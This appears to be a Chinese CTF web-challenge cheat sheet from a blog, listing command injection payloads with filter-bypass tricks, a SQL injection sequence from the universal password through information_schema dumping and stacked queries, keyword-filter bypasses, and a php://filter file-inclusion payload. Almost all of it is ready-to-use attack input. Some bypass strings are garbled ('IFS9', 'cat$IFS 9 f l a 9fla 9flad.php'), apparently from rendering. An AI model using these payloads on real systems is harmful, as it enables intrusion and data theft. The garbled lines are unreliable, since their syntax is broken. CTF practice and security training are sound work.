CTF-Web手的百宝箱

@ZZHow(ZZHow1024)

零、通用提示

Flag可能藏在源码注释里!记得F12找找

一、Command Injection(命令注入)类:

0.看当前目录的文件,看根目录的文件,找flag

  • 127.0.0.1 ; ls
  • 127.0.0.1 ; ls.../.../.../

1.绕过空格

  • IFS9
    • 首选!
    • **注意注意:**在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
  • $IFS
  • ${IFS}
  • <
  • <>
  • {cat,flag.php}
  • %20
  • %09

2.绕过关键词(如flag)

  • 利用环境变量拼接方法绕过。
    • /?ip=127.0.0.1;d=g;cat$IFS 9 f l a 9fla 9flad.php
      • 首选!
      • **注意注意:这里之所以选择替换flag里的"g"**还是因为如果替换前边的字母,例如fl$dg,bash解释器会把整个dg当做变量名,所以导致输不出来结果。
      • 如果必须替换前边的字母也得用$9来截断:
      • /?ip=127.0.0.1;d=a;catIFS 9 f l 9fl 9fld9g.php
  • 单引号和双引号绕过。
    • /?ip=127.0.0.1;catIFS9''f''l''a''g''.php
  • 反斜杠绕过。
    • /?ip=127.0.0.1;catIFS9\f\l\a\g.php

3.查看文件内容命令:

  • 1**. cat命令**
    1. nl命令(比cat多了行数提示)
  • 3**. more命令**
  • 4**. less命令**
  • 5**. head命令**
  • 6**. tail命令**

4.补充

命令注入以及常见绕过方式_命令注入绕过-CSDN博客

二、SQL Injection(SQL注入)类:

0.上来一个'看报错

1.万能密码

  • password' or '1'='1

2.常规注入流程

  • 判断字段数
    • order by x#
  • 判断显示位
    • union select 1,2#
  • 查询数据库名
    • union select 1,database()#
  • 输出当前数据库下的表名
    • union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 输出 指定表 下面的所有字段名
    • union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='指定表'#
  • 输出 指定表 中的 指定字段 数据
    • union select group_concat(指定字段),group_concat(指定字段) from 指定表#
      • 首选!会在一个回显位输出所有数据
    • union select 指定字段,指定字段 from 指定表#

3."堆叠注入"

  • 注意:如果是纯数字的名,需要用反引号 包裹
  • 查看数据库名:
    • 1';show databases;#
  • 查看表名:
    • 1';show tables;#
  • 查看 指定表 的详细信息:
    • 1';desc 指定表;#

4.特征判断

  • 输入非0数字得到的回显1,输入其余字符得不到回显
    • 推测内部的查询语句存在逻辑或:
      • select 输入的内容 || flag from Flag
    • 原理:
      • 非0数字 || 任意 = 1(真)
      • 0 || 任意 = 0(假)
    • Payload:
      • *,1
      • 1';set sql_mode=pipes_as_concat;select 1

5.关键词绕过

  • 情况一:检测关键词后直接整个不执行,预编译绕过
    • 例如:select * from 1919810931114514,select被检测
    • Payload:
      • 1';PREPARE abc from concat('s','elect', ' * from 1919810931114514 ');EXECUTE abc;#
  • 情况二:检测到关键词,把关键词给删除了,双写绕过
    • 例如union select 1,2,group_concat(passwoorrd) from b4bsql#,union、select和from直接被删除
    • Payload:
      • uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom b4bsql#

三、File Inclusion(文件包含)类:

  • 看PHP源码,用php://filter伪协议,再base64解码
    • Payload:
      • • ?file=php://filter/read=convert.base64-encode/resource=flag.php

欢迎补充 : )

相关推荐
粟悟饭&龟波功15 小时前
【网络安全】一、入门篇:读懂 HTTP 协议
安全·web安全·http
骥龙16 小时前
粤港澳全运会网络安全防御体系深度解析:威胁态势与实战防护
网络·安全·web安全
介一安全19 小时前
【APK安全】系统管理器安全风险与防御指南
网络安全·安全性测试·apk安全·android测试
SteveRocket1 天前
【产品篇】网络安全运营建设 相关工具
安全·web安全·www.mdrsec.com·cto plus技术服务栈
还是奇怪1 天前
SQL注入的“无影脚”:详解空格绕过WAF的N种方法
数据库·sql·安全·web安全
emma羊羊1 天前
【文件读写】绕过验证下
网络安全·php·upload·文件读写
KKKlucifer2 天前
Gartner 2025 中国网络安全成熟度曲线深度解读:AI 安全如何重构防御逻辑
人工智能·安全·web安全
云计算练习生2 天前
Linux 操作系统防火墙工具Firewalld常用操作
服务器·网络·网络安全·防火墙·firewalld·linux操作系统
Whoami!2 天前
4-6〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件上传漏洞-A
网络安全·信息安全·文件上传漏洞·oscp
介一安全2 天前
【APK安全】WebView组件的安全风险与防御指南
网络安全·安全性测试·apk安全·android测试